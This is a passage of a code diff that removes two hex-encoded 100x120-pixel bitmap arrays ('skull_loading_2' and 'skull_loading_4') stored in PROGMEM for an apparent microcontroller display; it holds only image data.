0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'skull_loading_2', 100x120px -const unsigned char bitmap_icon_skull_loading_2 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x30, 0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x10, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0xd0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x84, 0x22, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x00, 0xc6, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x03, 0x00, 0xc2, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0xb0, - 0x02, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x62, 0x10, 0x01, 0x8c, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xe0, 0x18, 0x01, 0x8c, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x03, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x03, 0x00, 0x02, 0x0c, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, - 0x04, 0x0a, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x04, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x21, 0x8c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, - 0x00, 0x00, 0x00, 0x21, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, - 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x80, 0x00, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, - 0xc0, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x80, 0x1a, 0x5c, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x42, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xe3, 0x00, 0x02, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x41, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, - 0x18, 0x00, 0x00, 0x81, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x00, 0x00, 0x01, - 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x22, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x18, 0x62, 0x10, 0x00, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x04, 0x90, 0x81, 0x91, 0x28, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x60, 0x08, 0xc3, 0x18, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x08, 0x86, - 0x18, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x80, 0x25, 0x27, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x10, 0x46, 0x10, 0x04, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0x30, 0x61, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x80, 0xa7, 0x29, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xc2, 0x18, 0xc0, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x84, 0x08, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x19, 0x02, 0x30, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x04, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x80, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x10, 0x00, 0x0c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x08, 0x08, 0x00, 0x00, 0x0c, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x03, 0x18, 0x00, 0x00, 0x0e, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, - 0x00, 0x00, 0x04, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x10, 0x00, 0x08, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0xc0, 0x08, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x30, - 0x00, 0x00, 0x00, 0x01, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, - 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x08, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x21, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x40, 0x1e, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, - 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x87, 0x82, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x42, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x8c, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x1a, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x05, 0x30, 0x8e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x04, 0xa5, 0x0c, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x18, - 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x30, 0xc0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'skull_loading_4', 100x120px -const unsigned char bitmap_icon_skull_loading_4 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x19, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x90, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0xe0, 0x00, - 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x60, 0x00, 0xc2, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x81, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x23, 0x08, 0xc3, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x22, 0x00, 0xc2, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, - 0x94, 0x13, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x62, 0x00, 0x01, 0x8c, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x26, 0x02, 0x03, 0x88, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x0c, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x63, 0x08, 0xc1, 0x84, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x00, 0x03, 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x02, 0x26, 0x23, - 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x02, 0x04, 0x21, 0x1c, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb3, 0x85, 0xc0, 0x42, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x63, 0x04, 0x80, 0xcc, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x63, 0x80, 0x81, 0x88, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x80, 0x32, - 0x02, 0x9c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x16, 0x01, 0x0c, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xa1, 0x34, 0x0b, 0x98, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf0, 0x81, 0xa4, 0x48, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x61, 0x00, 0x42, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x90, - 0x01, 0x12, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xb3, 0x18, 0x82, 0x1c, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0xe6, 0x08, 0x00, 0x0c, 0x30, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x34, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x23, 0x18, 0x80, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, - 0x1c, 0xc0, 0x08, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0xc0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x04, 0x20, 0x00, 0x06, 0x18, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x43, 0x18, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, - 0x87, 0x39, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x01, 0x31, 0x01, 0x20, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x10, 0x02, 0x30, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x91, 0x31, 0x26, 0x28, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x20, 0x00, 0xa0, 0x08, 0xc9, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, - 0x00, 0x40, 0x18, 0x82, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x81, 0x80, 0x09, - 0x20, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x23, 0x88, 0x03, 0x00, 0x8c, 0x10, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x66, 0xd0, 0x03, 0x19, 0x84, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x29, 0x28, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x08, 0x00, 0x00, 0x04, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, - 0x00, 0x0c, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x00, 0x03, 0x18, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x02, 0x18, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x03, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xc0, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x21, 0x00, - 0xc2, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xa4, 0x89, 0x01, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x10, 0xc2, 0x01, 0x80, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x0e, 0x30, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x68, 0x18, 0x40, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x04, 0x31, 0x80, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x06, 0x30, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xd0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 